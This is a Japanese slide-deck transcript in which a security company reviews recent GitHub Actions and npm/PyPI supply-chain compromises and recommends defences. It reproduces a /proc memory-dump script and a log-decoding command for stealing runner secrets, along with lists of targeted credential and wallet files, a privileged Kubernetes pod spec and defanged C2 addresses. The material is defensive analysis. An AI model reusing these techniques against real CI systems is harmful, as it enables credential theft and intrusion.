GitHub Actions侵害 — 相次ぐ事例を振り返り、次なる脅威に備える

弊社ウェビナー ( https://flatt.tech/takumi/event/github-actions-compromise-202603 ) におけるCTO米内の講演資料です。

Transcript

1. 2026年3月、相次ぐ 2026年3月、相次ぐ GitHub Actions 侵害を振り返る GitHub Actions 侵害を振り返る 事例から何を学び、どう備えるか GMO Flatt Security株式会社 取締役Co-CTO 米内 貴志（@lmt_swallow） © 2026 GMO Flatt Security Inc. All Rights Reserved. 1 / 53
2. 米内 貴志（よねうち たかし） 仕事＆趣味: ものづくりを安全にすること 2019年〜 Flatt Security（'21〜 CTO） 著書『Web ブラウザセキュリティ』等 セキュリティ・キャンプ '12 参加, '18-'24 スタッフ等 未踏ターゲット '21 / Quantum-Classical Programming Language ICC '23 アジア代表 / Head Captain CODE BLUE レビューボード '24-'25 自己紹介 © 2026 GMO Flatt Security Inc. All Rights Reserved. 2 / 53
4. 事例の振り返り reviewdog・tj-actions・Shai-Hulud、TeamPCP 一連の事案、…を整理する 何が変わったのか 2025年と2026年で何が構造的に変わったのかを分析する どう備えるか GitHub Actions 固有の対策を中心に、具体的な防御策を示す 01 02 03 今日話すこと © 2026 GMO Flatt Security Inc. All Rights Reserved. 4 / 53
5. 2025年と2026年の事例を順に振り返る 第1部 事例の振り返り © 2026 GMO Flatt Security Inc. All Rights Reserved. 5 / 53
6. あるパッケージが侵害され、その利用者が侵害され…という話をします 次はみなさんが、ここでいう「次の人」になりうると思いながら聞いてください 第1部の聞き方 © 2026 GMO Flatt Security Inc. All Rights Reserved. 6 / 53
7. インシデントの概要 1 つの Action の侵害が、他の Action へ連鎖した 起点 reviewdog コントリビューターの アカウント侵害 → タグ書き換え v1 タグ改竄 @v1 が悪意ある コミットを指す → 連鎖 tj-actions CI が reviewdog に依存 → PAT 漏洩 → 全タグ書き換え → 影響 多数のリポジトリ タグ参照で Action を 利用していた CI が影響 @reviewdog/actions-maintainer は 118 人いた。大きなアタックサーフェスといえる タグ（例: @v1 ）で依存している利用者がそのまま影響を受けた tj-actions/changed-files もその1つだった。同様に大きなタグ書き換え、影響拡大につながった 2025/3 reviewdog・tj-actions 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 7 / 53
8. 注入されたコード reviewdog/action-setup の install.sh に base64 ペイロードが挿入された 2025/3 reviewdog・tj-actions 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 8 / 53
9. 侵害の連鎖: reviewdog → tj-actions 前記の注入コードがよそで実行されていった。Wiz によると、以下の連鎖が推定されている 起点と推定 reviewdog/ action-setup v1 タグが悪意ある コミットに差し替えられた → 内部で利用 tj-actions/ eslint-changed-files reviewdog/action-setup@v1 を内部で利用していた → PAT 付きで実行 tj-actions/ changed-files eslint-changed-files を PAT 付きで実行していた Wiz は reviewdog/action-setup の侵害が root cause であると見ている（参考: Wiz Blog） tj-actions/eslint-changed-files は reviewdog/action-setup@v1 を内部で利用していた tj-actions/changed-files のリポジトリは、この eslint-changed-files を PAT 付きで実行していたとされる 侵害された reviewdog のコードがこの PAT にアクセスできた可能性が高い 攻撃者はこの PAT を使って tj-actions/changed-files を直接改竄したと推定されている（3/13-17） ここから先は広範なシークレット収穫フェーズに入った 2025/3 reviewdog・tj-actions 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 9 / 53
10. 新規性: 侵害先の拡大にはメモリダンプを活用 注入された悪性コードのうち、データの持ち出し方法は注目に値する内容だった Runner.Worker memory "github_token":{"value":"ghs_xxx","isSecret":true} "system.github.token":{"value":"ghs_xxx","isSecret":true} Hosted Runner では root を取れる その状態で /proc/<pid>/mem を読むと、シークレットが平文でメモリ上に載っている ダンプ結果を Actions のログにそのまま出力すれば、GitHub.com 経由で回収できる 外部の C2 サーバを用意する必要がない 攻撃者はログを見に行くだけでシークレットを取得できる ▼ 足がつきにくいシークレット持ち出しを実現していた 2025/3 reviewdog・tj-actions 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 10 / 53
11. Step 1: root + procfs 経由でメモリダンプ /proc/<pid>/maps を見て readable 領域を総当たり する map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path) as map_f, open(mem_path, "rb", 0) as mem_f: for line in map_f.readlines(): m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])", line) if m.group(3) == "r": start = int(m.group(1), 16) end = int(m.group(2), 16) mem_f.seek(start) chunk = mem_f.read(end - start) sys.stdout.buffer.write(chunk) maps で readable な領域だけを列挙する その範囲を mem から順に読んで標準出力へ流す 2025/3 reviewdog・tj-actions 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 11 / 53
12. Step 1: root + procfs 経由でメモリダンプ 実際の Actions ログで実行してみると？ ELF シグネチャが見える通り、メモリ空間がダンプできている。この中にシークレットが含まれている 実際の攻撃ではこうダンプはせず、この内容がパイプで別コマンドに渡されていたが 2025/3 reviewdog・tj-actions 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 12 / 53
13. Step 2: Actions ログからの持ち出し メモリダンプ結果はパブリックな Actions ログ内に残置。攻撃者はこれにアクセスして持ち出した gh run view 23716659907 \ --repo lmt-swallow-app-testing/takumi-runner-sandbox-cc \ --log --job 69084925586 \ | grep -aoE 'SW.*=' \ | base64 -d \ | base64 -d "github_token":{"value":"ghs_n5IBoJmXXXXXXXXXXX","isSecret":true} "system.github.token":{"value":"ghs_n5IXXXXXXXXXXX","isSecret":true} github_token がそのまま見える system.github.token も同様に抜ける 侵害されたワークフローが参照していた secrets も漏れる 2025/3 reviewdog・tj-actions 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 13 / 53
14. 補足: 狙いは Coinbase 方向にあった可能性 tj-actions の侵害コードには、特定の組織だけを狙う条件分岐が含まれていた 該当コミット の updateFeatures 関数に条件分岐がある GITHUB_REPOSITORY_OWNER が coinbase または mmvojwip の場合にのみ、追加のペイロードを実行する 幅広に狙ったというよりは特定組織一定の意図があったことが示唆される 2025/3 reviewdog・tj-actions 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 14 / 53
15. 自己増殖型の感染を伴う侵害 npm パッケージ経由で他メンテナを侵害。感染範囲が増殖していく攻撃が展開された 攻撃の起点 postinstallや preinstall で発火 npm install のみで発火 → 攻撃の拡大 データを抜きながら NPM_TOKEN を探索 他に感染を広げられるパッケージがないかを検討 → 拡散 他パッケージに 自己埋め込み 自身の一部を lifecycle script に 追加して npm publish で公開 lifecycle script は npm install 時に自動実行されるスクリプト Shai-Hulud では、あるパッケージの lifecycle script に、悪意のあるコードが追加された 以後、 npm install を実行したメンテナ端末・CIを経由してこのコードが増殖 瞬く間に感染が広がり、影響は数百パッケージに及んだ 2025/9~ Shai-Hulud キャンペーン © 2026 GMO Flatt Security Inc. All Rights Reserved. 15 / 53
16. 一連の攻撃が進行中。開発者エコシステム・セキュリティツールを起点とした展開に特徴 2/27 Trivy hackerbot-claw による PAT 窃取 2/28 Trivy PAT でリポジトリ 破壊 3/19 Trivy Imposter Commit タグ再汚染 3/20 npm CanisterWorm 多数パッケージ感染 3/23 Checkmarx CI 認証情報で ワークフロー改竄 3/24 LiteLLM PyPI 悪性 バージョン公開 3/27 Telnyx WAV 偽装 悪性バージョン公開 25年のインシデントは比較的単発で終わり、影響収束も一定早かった 一方今年26年は、脅威アクタ TeamPCP により、連鎖的な攻撃が展開されている（現在進行系） 攻撃の練度や展開スピードは以前よりも高く、影響範囲も広い。予断を許さない状況 2026/2-3 TeamPCP による一連の侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 16 / 53
17. 攻撃の概要 hackerbot-claw による不正 Pull Request が PAT 窃取へ 2月末ごろ hackerbot-claw を名乗る bot による攻撃が観測された Trivy のほか、Microsoft や Datadog 等も攻撃対象に含まれていた AI エージェント（Opus 4.5）を自称しているが、真偽は不明 名称は OpenClaw との関係を示唆するが、これも真偽は不明 僕の見解では、これらはただ話題性を得るためで、十分に人間の関与がある と思う このタイミングで Trivy のビルドパイプライン内の一部情報が漏洩 ここに aqua-bot 含む一部 bot の PAT が含まれていたと推定される 一般に、Actions 向け GITHUB_TOKEN で不足する場合は、PAT の利用自体 は自然 公開されたエビデンスの範囲では、攻撃起点は定かではない 状況証拠からは apidiff.yaml と推定される 恐らく pull_request_target の悪用ではないかと思う 2026/2/28 Trivy 侵害（初回） © 2026 GMO Flatt Security Inc. All Rights Reserved. 17 / 53
18. 攻撃の概要 リークした認証情報を用いて、再度 Trivy リポジトリを侵害。検知回避も 攻撃者はリークした認証情報で再度リポジトリを侵害した ローテーションが完璧ではなかった 攻撃者の永続化への労力が推察される 攻撃は以下の行程で行われたと推定される 攻撃対象リポジトリを Fork Fork 先で悪意のあるコミットを作成（ハッシュを XXXX とする） 攻撃対象リポジトリを触れる PAT などでコミット XXXX へタグを向ける 実は Fork 先リポジトリのコミットはFork 元からも参照できる この仕様が悪用された この手法やコミットは "Imposter Commit" とも呼ばれている 上記を含め、随所に調査のじゃまになる細工が施されていた たとえば著者名やコミットの日付の詐称も行われていた 2026/3/19 Trivy 侵害（二度目） © 2026 GMO Flatt Security Inc. All Rights Reserved. 18 / 53
19. 特徴: Trivy 侵害を経由した攻撃の展開手法 侵害済 Trivy Action の利用 CI/端末上では Infostealer として動作した 暗号化 AES-256-CBC ランダム 32 バイトの セッション鍵で暗号化 → 鍵の保護 RSA-4096 セッション鍵を RSA 公開鍵で暗号化 → 主経路 C2 送信 scan[.]aquasecurtiy[.]org に HTTP POST ✕ → フォールバック GitHub 経由 被害者のアカウントに tpcp-docs リポジトリを 作成しデータを push C2ドメインは scan[.]aquasecurtiy[.]org （security の i と t を入れ替えたもの） 所謂 Typosquatting だが、あくまで不正通信を見逃しやすいような細工と思料される レジストラは Spaceship なお、TeamPCP の後述の LiteLLM 侵害でも似たパターンが用いられている C2に直接抜けない場合は GitHub.com 経由でのリークを取る 先述の reviewdog 侵害同様に、足がつきにくいリーク経路 ただC2も用意したということは、恐らくプライベート・法人・GHESも攻撃に強い意識有と思料 2026/3/19 Trivy 侵害（二度目） © 2026 GMO Flatt Security Inc. All Rights Reserved. 19 / 53
20. 特徴: Infostealer としての活動 クラウド認証情報と、仮想通貨系の秘密鍵が主要な対象となっている ~/.ssh/id_rsa, id_ed25519, id_ecdsa /etc/ssh/ssh_host_*_key ~/.aws/credentials, ~/.aws/config ~/.config/gcloud/** ~/.azure/** ~/.kube/config /var/run/secrets/kubernetes.io/** ~/.config/solana/id.json /home/sol/validator-keypair.json ~/.ethereum/keystore/** SSH 秘密鍵 クラウド認証情報 K8s 設定 Solana 等・仮想通貨系 2026/3/19 Trivy 侵害（二度目） © 2026 GMO Flatt Security Inc. All Rights Reserved. 20 / 53
21. Trivy からどこへ飛び火したか Trivy 事案の二次被害の大きな例が LiteLLM。PyPI 向けトークンが漏れ、パッケージ侵害へ GitHub Actions上 Trivy Action 侵害済みのActionが 実行された → GitHub Actions上 PyPI トークン漏洩 パイプラインに格納された 認証情報が窃取された → PyPI 悪性バージョン公開 1.82.7 / 1.82.8 が 公開される → 利用者環境 import で発火 Infostealerとして動作 他永続化・ラテラル試行も 先述の Trivy 事案により大規模なクレデンシャル漏洩が発生 そのクレデンシャルの中から、恐らく選択的に LiteLLM 狙われたような状況 とにかくユーザーベースが大きい。日あたり数百万ダウンロードがある 邪推だが、AI 系クレデンシャルが近くにあることも期待の中か？ v1.82.7 では from litellm.proxy.proxy_server import app に到達した時点で発火する 挙動は後述するが、Trivy 検体にはなかった永続化が試行されていた C2 は models[.]litellm[.]cloud となっており、同様に正規ドメインを模倣 v1.82.8 では Python 起動時の自動起動が試みられたが、攻撃者がバグを埋めてしまい動作不完全（後述） 2026/3/24 LiteLLM 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 21 / 53
22. 特徴: systemd 経由での永続化 sysmon.service として systemd に登録し、C2 からの指示を待ち受ける 登録 sysmon.service systemd ユニットとして 自動起動に登録 → 回避 5 分スリープ 起動直後は何もしない サンドボックス検知を回避 → ポーリング 50 分間隔で C2 に GET checkmarx[.]zone/raw に 定期的にアクセス サービス名を sysmon にすることで、正規の監視ツールに見せかけている 起動後 5 分間スリープしてからポーリングを開始する 短時間で終了するサンドボックス解析を回避する効果もある C2 checkmarx[.]zone/raw に 50 分間隔で GET リクエストを送る Trivy とほぼ平行して同アクタが侵害した Checkmarx KICS と共用されている レスポンスにペイロードが含まれていれば実行する仕組み C2 ドメインは Checkmarx 社の正規ドメインを模倣したもの 2026/3/24 LiteLLM 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 22 / 53
23. 特徴: Kubernetes に対しては追加試行 特権 Pod をデプロイすることでの権限昇格・永続化を試みている apiVersion: v1 kind: Pod metadata: name: node-setup-{node_name} namespace: kube-system spec: hostPID: true hostNetwork: true tolerations: - operator: Exists volumes: - hostPath: { path: / } 同アクタに何かしらの狙いがあるのだと思われる 詳細は省くが、あまり高度なものではなく、かつあまり刺さらないようなペイロードだったが… ホストの PID / ネットワークを共有 master ノードでも動作 ホストの / をマウント 2026/3/24 LiteLLM 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 23 / 53
24. 特徴: "Vibe Hacking" 的なバージョンアップ v1.82.8 では .pth によるマルウェア自動起動が試みられたが、実装ミスで fork bomb 化（?!） python -c "..." ← .pth がトリガーされる └→ python -c "import base64; exec(b64decode(...))" ← デコード& 実行 ├→ python - (stdin payload) │ ├→ sh -c "hostname; pwd; whoami; uname -a; ip addr; ip route" │ ├→ sh -c "printenv" │ └→ ... │ └→ python -c "import base64; exec(...)" ← 再帰的な実行（！） └→ [ 同一チェーンを再帰的に繰り返し] パッケージに含まれる .pth ファイルは import なしで Python 起動時に実行される 攻撃者はこれを利用して、import 分なしで攻撃コードを発火させようとしていた 一方、.pth ロード時に実行されるコード内で、さらに Python インタプリタを起動する処理があった 結果無限に .pth がロードされ、本丸の Infostealer 部分に到達しないバグがあった… 2026/3/24 LiteLLM 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 24 / 53
25. さらなる進展へ LiteLLM 同様の手口で Telnyx にも波及。検体の成長が見られた 発火 import telnyx _client.py 末尾に 注入されたコードが実行 → ダウンロード WAV ファイル取得 83[.]142[.]209[.]203:8080 hangup.wav / ringtone.wav → 抽出・実行 バイナリ実行 WAV のオーディオフレームから 実行ファイルを抽出して実行 Telnyx にも、ほぼ LiteLLM 同様の手口での攻撃が展開された 総じて検知回避への意識がみられた検体だった Windows 環境に対してのみ固有の永続化（msbuild.exe）が試行されていた また、C2からのバイナリドロップ時には WAV ステガノが確認された TeamPCP を名乗る X アカウントでも evasion に関してのボースティングが展開された（参考） 侵害されたバージョンのうち v4.87.1 はタイプミス（Setup → setup ）があってまともに動かない ここにも Vibe Hacking 傾向が認められる 2026/3/27 Telnyx 侵害 © 2026 GMO Flatt Security Inc. All Rights Reserved. 25 / 53
26. 2026年に切り替えるべきマインドとは 第2部 何が変わったのか © 2026 GMO Flatt Security Inc. All Rights Reserved. 26 / 53
27. 事例の振り返りから、3つの構造的な変化が見えてきた 連鎖前提の攻撃 配られているものへの 信頼が落ちていく → 攻撃練度の向上 防御側の練度も 問われるようになってきている → AI 委譲のリスク 今後より監督は 難しくなっていく 第1部を踏まえて: 3つの変化 © 2026 GMO Flatt Security Inc. All Rights Reserved. 27 / 53
28. 配られているものへの信頼が落ちていく 今回の一連の事案は、明確に連鎖を狙って設計されている 2025年の reviewdog / tj-actions は、結果として単発の窃取で沈静化した 不幸中の幸いともいえる クローズドな二次被害事案はあるのかもしれないが… 一方 2026年の TeamPCP は、Trivy → LiteLLM → Telnyx と意図的にピボットしている 窃取した認証情報の中から、次に美味しいターゲットを選んで攻撃しているような印象 公開されている範囲でもあちこちに影響。クローズドでも無視できない数に影響があると見ている 話者は GitGuardian による調査と近い見解にある こうなると、配られている Action やパッケージを以前ほど信じにくい 今は自社からのどの依存がやられてもおかしくない、と想定すべき ただし我々はかなり牧歌的に依存を構成してきた。これを再考するべき時代？ 変化 (1): 連鎖を前提とした攻撃 © 2026 GMO Flatt Security Inc. All Rights Reserved. 28 / 53
29. 防御側の練度も問われるようになってきている クラウドインフラへの理解がある攻撃者が、明確に CI/CD やパッケージを美味しいと思っている 一連のアクタの行動に、クラウドインフラへの土地勘が見える K8s の特権 Pod デプロイや ~/.kube/config / Solana 鍵の走査など もっとも、Solana と同時にクラウドクレデンシャル抜くのは、どういうことなのか分からないが バージョンを重ねるたびに検体の「質」は上がっている 知られていないだけで、それなりに npm 上にはマルウェア検体が転がっている これら既知検体はそこまで Evasion が凝られているわけでも、steal 後素早いわけでもない印象 現状直近の一連のキャンペーンからして、この領域でも、攻撃側の練度が高まってきていると思う 防御側もそれに見合った練度を求められるフェーズである CI/CD に対する攻撃リスクは、発生確率が低いイシューではない CI/CD セキュリティといえば Actions の設定が〜、みたいな水準では十分に詰みうる 変化 (2): 攻撃の練度が上がっている © 2026 GMO Flatt Security Inc. All Rights Reserved. 29 / 53
30. 今後より監督は難しくなっていく もともと人間が考えていた判断を AI に委譲する流れの中で、防波堤が薄くなりつつある もともと、パッケージを入れるにしても実装をするにしても、人間があれこれ考えていた 「このパッケージ、メンテされてるかな」 「最近バージョン上がったばかりだけど大丈夫かな」とか 人間がその場で判断することが、結果として一定の防波堤になっていた それを AI に任せるようになると、割とあれこれダウンロードしうる Copilot / Cursor / Claude Code が依存を追加し、そのまま CI まで実行する Dependabot / Renovate が自動で依存を更新する AI は公開直後のパッケージを疑わない。人間なら「ん？」と思えた場面でも、そのまま通る 今後 AI への委譲が進むほど、侵害パッケージの流入を止める難度は上がっていく 人間の監督だけに頼る防御モデルはスケールしない 仕組みとして止める必要がある。第3部ではその話をする 変化 (3): AI 委譲が新たなリスクに © 2026 GMO Flatt Security Inc. All Rights Reserved. 30 / 53
31. 受け入れ評価・依存固定・DevOps アーキテクチャ堅牢化・エンドポイント統制で備える 第3部 どう備えるか © 2026 GMO Flatt Security Inc. All Rights Reserved. 31 / 53
32. 戦略の方向性 利用・依存するソフトウェアに対して、以前より厳しい目線と仕組みを持つ必要がある 現代において「package.json の中身」に稟議が必要な組織は少ない 一方、その依存の追加と、他社 SaaS の購入・利用、本来はかなりが同質であるはず なんなら OSS は As-Is 提供であり、リスクが提供元と "按分" される他社 SaaS 利用よりリスクフルなのでは？ SBOMやライセンスコンプライアンスの文脈では検討されるが、実サイバーリスクとしては過小評価傾向にあると思う とはいえ、あれもこれも使わない、というのは現実的ではない AI全盛期でも Zero-Dependency でプロダクトを作るのは今でも厳しい。事業スピードとのトレードオフは続く あくまで使いながらどう守るか、を考えるほかない 具体的には以下の四本柱で仕組みを強化されたい i. 受け入れ評価の強化: 利用するソフトウェアを厳しく評価する。検疫期間を設ける ii. 評価したものへの依存固定: mutable な参照を潰し、評価済みバージョンへ pinning する iii. DevOps 系アーキテクチャの堅牢化: 即死構成を減らす。侵害されても連鎖しにくい構造にする iv. DevOps 系エンドポイント統制の強化: 端末を守るように CI/CD も守る どう備えるか © 2026 GMO Flatt Security Inc. All Rights Reserved. 32 / 53
33. 大規模侵害事案を回避するために 大規模な侵害は誰かが気がつくので、 「新しいものは一旦受け入れない」は有効 3/19 Trivy Actions タグ書き換え → 翌日に検知された 3/24 LiteLLM 19:39 UTC に公開 → 同日中に PyPI が停止した 3/27 Telnyx 03:51 UTC に公開 → 同日中に PyPI が停止した 今日紹介したインシデントは、公開直後に飛びつかなければ巻き込まれにくかった例 この「すぐ入れない」を仕組みにするのが Dependency Cooldown の考え方 新バージョンが出てから一定期間、自動更新やインストールをブロックする その間にコミュニティの検知やレジストリの対応を待つ ただし、数日待てば安全かというと正直そうでもない 今回はたまたま早く検知されたが、影に隠れたまま長期間残っている検体は普通にある 単なる dropper であれば、検疫期間中は無害で、通過後に C2 から本体を落とすこともできる 受け入れ評価の強化 (1): Dependency Cooldown © 2026 GMO Flatt Security Inc. All Rights Reserved. 33 / 53
34. 仕組みとしてどう実現するか 各クライアントに Cooldown 相当の仕組みが出てきている # npm v12+ npm install --min-release-age=3d # uv (Python) uv add --exclude-newer "3 days" <pkg-name> # GitHub Actions (pinact) pinact run --min-age 3 上述のように各マネージャに Dependency Cooldown 相当の仕組みがある。積極利用すべき 全てのクライアントが対応しているわけではない点が現状の課題 私見では 短くて 3 日、余裕をもって 7 日くらいあれば十分（体感、3日見つからない検体はしばらく見つからない） 受け入れ評価の強化 (1): Dependency Cooldown © 2026 GMO Flatt Security Inc. All Rights Reserved. 34 / 53
35. 検疫期間だけでは足りないケースもある 理想論で言えば、そもそも「何を使うか」の判断自体を、もっと厳密にやるべき 供給元の信頼性を評価する仕組みもあればベスト 定量評価しやすい点はある（メンテナの数・権限構成、過去のインシデント履歴、署名の有無、ビルドの再現性等） AI が魔法をしてくれれば解決するかも ただこれは本質的に、推移的にどこまで信頼するか、という問題になる 自分の依存が依存しているものの供給元まで全部評価するのは、正直かなり厳しい （ソフトウェア）サプライチェーンの難しいところは、本質的には Direct よりも Transitive Dependencies 管理… 正直、難しいと思う 直近事案の示唆は、ソフトウェアサプライチェーン事案が容易にカスケードすること。評価の意味も薄いのかも 一個壊されればその周りも壊れる（例: Trivy → LiteLLM, reviewdog → tj-actions） 六次の隔たり（Six Degrees of Separation）的な法則は緩やかにソフトウェアに対しても成立するのでは ならば自分のソフトウェアも、あとちょっとカスケードしたら壊れていたのでは ならば供給元評価してたとして、割と簡単に我々は詰むのでは 受け入れ評価の強化 (2): 供給元の評価 © 2026 GMO Flatt Security Inc. All Rights Reserved. 35 / 53
36. 一個一個は評価できないが、どこから拾ってくるかはある程度選べる 個別パッケージの評価が無理なら、信頼できるキュレーション層を挟む (2) で見たように、個別の供給元評価は transitive dependency の壁にぶつかる ただし「どこから拾ってくるか」はある程度選ぶことができる 検査やキュレーションを専門にやっている企業を経由するアプローチ コンテナイメージ: たとえば Chainguard Containers などは一手 最小構成のイメージを署名・SBOM 付きで提供している ベースイメージの選定をここに寄せるだけで、既知脆弱性の混入リスクが大幅に下がる ソースツリー自体が汚染されるシナリオを除けば、マルウェアの混入防止にも若干寄与する パッケージ: Takumi Guard がプロキシレイヤで機能する（後述） npm / PyPI のリクエスト経路に入り、ブロックリスト照合・検疫・侵害通知を提供する 個別パッケージの評価を利用者がやらなくても、プロキシ側で検査が走る 全員が評価に手を出すのは無理なので、こうした層に委ねる判断が現実的だと思う 受け入れ評価の強化 (3): 供給元の限定 © 2026 GMO Flatt Security Inc. All Rights Reserved. 36 / 53
37. 受け入れ評価・検疫・依存固定を支援するプロダクト npm / PyPI のレジストリプロキシとして経路に入り、悪性パッケージをブロックする 1コマンドで導入できる npm config set registry https://npm.flatt.tech/ pip config set global.index-url https://pypi.flatt.tech/simple/ 無料で利用できる npm / pnpm / pip / uv / poetry 等に対応 インストールリクエスト時にブロックリストを照合 悪性ならば 403 でインストールをブロック 問題なければそのまま続行 メール登録すると以下メリットあるのでおすすめ レートリミットも広がる（1万 req/分） ダウンロード履歴を追跡し、後から侵害が判明した場合に通知も来る 受け入れ評価の強化 (3): 供給元の限定 …の例としての Takumi Guard © 2026 GMO Flatt Security Inc. All Rights Reserved. 37 / 53
38. 背景にある intel 活動 弊社のリサーチチームが運用する脅威インテリジェンス基盤でブロックリストを構築している 収集 レジストリ監視 npm / PyPI の 変更フィードをリアルタイム監視 → 解析 自動解析パイプライン スクリプト検査 サンドボックス実行 → 判定 ブロックリスト反映 パッケージ全体または バージョン単位でブロック Takumi Guard はパッケージ公開を（ニア）リアルタイムで捕捉している 各パッケージレジストリにそのような仕組みがあり、それを利用 今後それができないレジストリの場合は、ダウンロード時に初見なら検査、となりうるが 各パッケージに関して、静的解析と動的解析を組み合わせて判定する パブリックアドバイザリが出る前にゼロデイの悪性パッケージを検出できる False Positive を極力避けるため、最終的に人間のアナリストも判定に関与（HITL） ブロックリストには日々レコードが追加されている 細かい解析方法は（話してしまうと攻撃者に手の内を明かすことにもなるため）非開示 Takumi Guard (2): ブロックリストの構成 © 2026 GMO Flatt Security Inc. All Rights Reserved. 38 / 53
39. 後から悪性と判明した場合にどうなるか メールを登録しておくと、ダウンロード済みパッケージに侵害が判明した際に通知が届く # メール登録（無料） curl -X POST https://npm.flatt.tech/api/v1/tokens \ --json '{"email": "you@example.com", "language": "ja"}' # 返ってきたトークンを設定 npm config set //npm.flatt.tech/:_authToken tg_anon_xxxxxx メール登録すると、tarball のダウンロード履歴がトークン単位で記録される 後から悪性と判明した場合、該当バージョンをダウンロードした利用者にメール通知する パッケージ名・バージョン・ダウンロード日時・推奨される対応を含む GitHub Actions + OIDC 認証を設定済みの場合は、Webhook 等での通知を予定している Takumi Guard (3): 事後通知 © 2026 GMO Flatt Security Inc. All Rights Reserved. 39 / 53
40. 対応範囲の拡大と解析の高度化 現在は npm / PyPI が対象。今後エコシステムと解析能力の両方を広げていく エコシステムの拡大（無料提供） RubyGems 対応 crates.io 対応 … ダウンロードログ提供（有料・法人向けを予定） 「うちの CI であのバージョン使ってたっけ？」に実ダウンロードログで答えられるようにする lockfile からでは追うのが面倒で、誤判断もありうる。実ログベースで判断できるのは大きい 悪性パッケージの IoC の提供（有料・法人向けを予定） 具体的なマルウェアの挙動情報などを提供予定 キャンペーン事後対応や脅威インテリジェンスでの活用を想定 Takumi Guard (4): 今後の予定 © 2026 GMO Flatt Security Inc. All Rights Reserved. 40 / 53
41. 評価済みのバージョンへの pinning を徹底する 入口で評価した（はずの）安全とされるアーティファクトを参照・依存する # GitHub Actions: SHA pinning uses: actions/checkout@11bd71901...c9af683 # v4.2.2 # npm: lockfile から再現性を担保 npm ci # pip: ハッシュ検証付きインストール pip install --require-hashes -r requirements.txt GitHub Actions なら SHA pinning @v1 のような mutable タグでは、宛先の侵害が即自身の侵害につながる GitHub には required workflow で SHA を強制する仕組みもある npm / PyPI ならロックファイルへの依存を徹底する。バージョンを中に浮かせない 評価したバージョンだけが到達する状態を作る。評価と固定はセットで考える 評価したものへの依存固定 © 2026 GMO Flatt Security Inc. All Rights Reserved. 41 / 53
42. pinact: SHA pinning の自動化 手で SHA を調べて書き換えるのは現実的ではない。自動化ツールを使う # before - uses: actions/checkout@v4.2.2 # pinact を実行すると - uses: actions/checkout@11bd71901...c9af683 # v4.2.2 pinact はワークフロー内のタグ参照を自動でフルコミット SHA に変換する 入力と出力がシンプルで、大規模組織での自動化に向いている HACK THE NIKKEI BLOG の記事が参考になる 先述の --min-age オプションで Dependency Cooldown も同時に実現できる 評価したものへの依存固定 の例 © 2026 GMO Flatt Security Inc. All Rights Reserved. 42 / 53
43. 即死構成を減らす。侵害されても連鎖しにくい構造にする たとえばデプロイとビルドの分離は堅牢化のための一つのアイデア 危険度: 高 ビルド 外部スクリプトが ガンガン動く場所 → 境界 アーティファクト ここだけが 両者の接点 ← 本番権限あり デプロイ 参照して設置するだけ 任意コード実行はしない ビルドは外部依存のコードがガンガン動く場所。ここに本番の鍵を渡すリスクは以前より高い npm install の Lifecycle script、 curl ... | sh のようなパターン、… 非自明だが git コマンドすら任意コード実行パスになりうる デプロイは根本的に本番への強い権限を持つので、極力ビルドと同居させないべきである 分離すれば、ビルド環境が侵害されても本番に直結しない アーティファクト汚染のリスクは残るが、アーティファクト汚してくる検体は比較的まだ少ない（増えてきたら要検討） アーティファクトだけが両者の接点になるような設計をイメージするといい DevOps 系アーキテクチャの堅牢化 © 2026 GMO Flatt Security Inc. All Rights Reserved. 43 / 53
44. 端末を守るように CI/CD も守る 全部を防ぎきるのは無理筋でもある。一定やられた前提で追えるようにしておく 開発端末は EDR 等のエンドポイント監視が一定されている傾向有 一定の検知、一定の事後のレスポンスも（技術的には）できそうな環境が増えている 実際のところソフトウェアサプライチェーン系は、若干検知が後手になっている空気は感じるが、改善されていくと予想 プロダクト環境 も一定の監視が進む GuardDuty（AWS）等、マネージド・低ハードルの製品も一定存在している 性能の面ではまだ完璧ではないが、一定の監視は行えるようになっている CI/CD 環境 は現在間隙で、かなりログ・テレメトリすらない傾向にある マネージドの GitHub Actions 環境は特にその傾向が強い Trivy の件も LiteLLM の件も、野良の npm マルウェアも、後からレスポンスするのはほぼ困難 ▼ CI/CD 環境のログ・テレメトリ確保は 2026 年意識すべきテーマ DevOps 系エンドポイント統制の強化 © 2026 GMO Flatt Security Inc. All Rights Reserved. 44 / 53
45. eBPF トレーシング付きの GitHub Actions Runner runs-on: takumi-runner の1行で、ワークフロー実行中のすべてを記録する GitHub Actions の Runner として動作する ジョブごとに専用のエフェメラル VM を起動する 独立したカーネル・ファイルシステム・ネットワークスタックを持つ コンテナ型と違い、カーネルを共有しないので分離が強い eBPF でシステムコールレベルのトレースを取る process_exec / net_connect / file_open 等 「どのプロセスがどこに通信したか」が全部見える 「どのプロセスがどんなファイルを読み書きしたか」も全部見える 取得したトレースデータは DuckDB クエリで分析できる ログの生 JSONL 自体も提供可能 これにより有事のインシデントレスポンスが可能に Takumi Runner (1): CI/CD 環境の記録・監視 © 2026 GMO Flatt Security Inc. All Rights Reserved. 45 / 53
46. CI/CD 環境からの通信先を一覧できる Takumi Runner (2): ネットワークテレメトリの記録 © 2026 GMO Flatt Security Inc. All Rights Reserved. 46 / 53
47. 仮に Trivy Action を利用していたら 侵害済み Action が C2 に通信していれば、ネットワーク可視化に即座に現れる 仮に自社の CI で侵害済み Trivy Action を利用していた場合を考える scan[.]aquasecurtiy[.]org が画面・トレースに現れていた 侵害が公表された時点で過去のジョブを IoC ベースで検索できる うち影響あった？はこれにより（ほぼ）確定させられる eBPF トレース自体の完全性が確保される限りは確定する 完全性が確保されないようなシナリオでは、そもそも何かがおかしい Takumi Runner (3): ネットワークテレメトリの利用 © 2026 GMO Flatt Security Inc. All Rights Reserved. 47 / 53
